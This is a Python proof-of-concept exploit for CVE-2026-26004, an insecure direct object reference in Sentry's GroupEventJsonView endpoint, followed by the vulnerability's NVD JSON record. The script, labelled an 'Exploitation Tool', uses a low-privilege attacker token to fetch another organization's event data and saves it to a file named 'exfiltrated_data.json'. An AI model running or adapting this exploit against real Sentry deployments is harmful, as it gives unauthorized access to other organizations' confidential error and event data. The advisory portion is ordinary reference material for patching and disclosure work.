CVE-2026-26004

# CVE-2026-26004 PoC - Sentry GroupEventJsonView IDOR # Author: Security Researcher # Target: Sentry < 26.1.0 import requests import json # Configuration SENTRY_URL = "https://sentry.example.com" ATTACKER_TOKEN = "your_attacker_low_privilege_token" TARGET_EVENT_ID = "target_organization_event_id_here" def exploit_idor(): """ Exploit IDOR vulnerability in Sentry's GroupEventJsonView endpoint to access cross-organization event data. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Construct the malicious request targeting cross-organization event exploit_url = f"{SENTRY_URL}/api/0/issues/group/{TARGET_EVENT_ID}/json/" print(f"[*] Target URL: {exploit_url}") print(f"[*] Attempting IDOR attack...") try: response = requests.get(exploit_url, headers=headers, timeout=30) if response.status_code == 200: print("[+] SUCCESS: Cross-organization data access achieved!") print(f"[+] Response preview: {response.text[:500]}") # Save extracted data with open("exfiltrated_data.json", "w") as f: json.dump(response.json(), f, indent=2) print("[+] Data saved to exfiltrated_data.json") return True else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.RequestException as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-26004 Sentry IDOR Exploitation Tool") print("=" * 60) exploit_idor()

{"cve": {"id": "CVE-2026-26004", "sourceIdentifier": "[email protected]", "published": "2026-03-18T00:16:18.943", "lastModified": "2026-03-23T18:12:48.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sentry is a developer-first error tracking and performance monitoring tool. Versions prior to 26.1.0 have a cross-organization Insecure Direct Object Reference (IDOR) vulnerability in Sentry's GroupEventJsonView endpoint. Version 26.1.0 patches the issue."}, {"lang": "es", "value": "Sentry es una herramienta de seguimiento de errores y monitoreo de rendimiento orientada a desarrolladores. Las versiones anteriores a la 26.1.0 tienen una vulnerabilidad de Referencia Directa Insegura a Objeto (IDOR) interorganizacional en el endpoint GroupEventJsonView de Sentry. La versión 26.1.0 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sentry:sentry:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1.0", "matchCriteriaId": "3A39D4D3-C991-4C89-A3F9-250CF2397D6E"}]}]}], "references": [{"url": "https://github.com/getsentry/sentry/commit/45bc78fd57514a04eb62e73dd1eeb3ca2d723997", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/getsentry/sentry/pull/105601", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://securitylab.github.com/advisories/GHSL-2025-130_Sentry/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}